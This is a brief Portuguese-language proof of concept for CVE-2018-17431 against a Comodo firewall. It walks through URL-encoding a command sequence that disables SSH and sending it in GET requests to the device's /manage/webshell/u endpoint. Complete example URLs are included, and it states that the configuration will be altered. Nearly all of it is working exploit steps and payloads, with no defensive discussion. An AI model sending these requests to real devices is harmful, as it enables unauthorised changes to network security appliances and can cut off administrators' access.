
Prova de conceito para CVE-2018-17431
Prova de conceito para CVE-2018-17431
Exploit:
Simulação de WebShell:
Por exemplo, desabilitar SSH no web shell é assim:
- service [hit enter]
- ssh [hit enter]
- disable [hit enter]
Codificar
Codifique a sequência acima com codificação de URL.
(Usei o plugin encoder do Burp)
%73%65%72%76%69%63%65%0a%73%73%68%0a%64%69%73%61%62%6c%65%0a
Executar
Base URL: https://[Comodo_Firewall_IP]:[WebPort]/manage/webshell/u?s=[Integer]&w=100&h=24&k=[Encoded_Command]&l=[Integer]&_=1534440840152
https://[Comodo_Firewall_IP]:[WebPort]/manage/webshell/u?s=[Integer]&w=100&h=24&k=%0a&l=[Integer]&_=1534440840152 (tecla enter extra para executar o comando)
Exemplo: https://192.168.250.10:10443/manage/webshell/u?s=4&w=100&h=24&k=%73%65%72%76%69%63%65%0a%73%73%68%0a%64%69%73%61%62%6c%65%0a&l=21&_=1534440840152
https://192.168.250.10:10443/manage/webshell/u?s=4&w=100&h=24&k=%0a&l=21&_=1534440840152
Uma página com a mensagem "Configuration has been altered" aparecerá e a configuração será alterada!